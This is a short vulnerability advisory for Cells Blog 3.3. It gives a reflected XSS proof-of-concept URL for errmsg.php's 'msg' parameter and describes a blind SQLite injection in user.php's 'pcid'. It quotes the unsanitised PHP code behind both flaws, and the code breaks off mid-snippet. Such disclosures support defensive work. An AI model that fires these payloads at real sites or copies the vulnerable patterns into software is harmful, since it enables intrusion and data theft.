Cells Blog 3.3跨站脚本和SQL注入漏洞

                                                [1] Reflective XSS on 'msg='
 
PoC: 
http://localhost/cells-v3-3/errmsg.php?msg= [%3C%2Fp%3E%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E%3Cp%3E]
 
 
Vulnerable Code:
[+] errmsg.php
 
<?
                echo "<img src='images/error.gif'>";
                if (isset($_GET["msg"])){$msg=$_GET["msg"];}else{$msg="";}
                if ($msg!=""){
                    echo "<br><br><br>".$msg;
                }else{
                        echo "<br><br><br>You may key in something wrong.<br>Please try it again! ..... ";
                        echo " If you always got this message, <br>please send a <a href='pub_pubmsg.php?bgid=1'>".$face_report."</a>";
                        echo " to the web master.";
                }
                ?> 
 
  
[2] Blind SQLite Injection on 'pcid'
 
PoC:
http://localhost/cells-v3-3/user.php?pcid= [SQLite Injection]
 
Vulnerable Code:
[+] user.php
 
if($_GET["pcid"]!=""){
$sql="select * from users where cdt='n' and pcid=".$_GET["pcid"];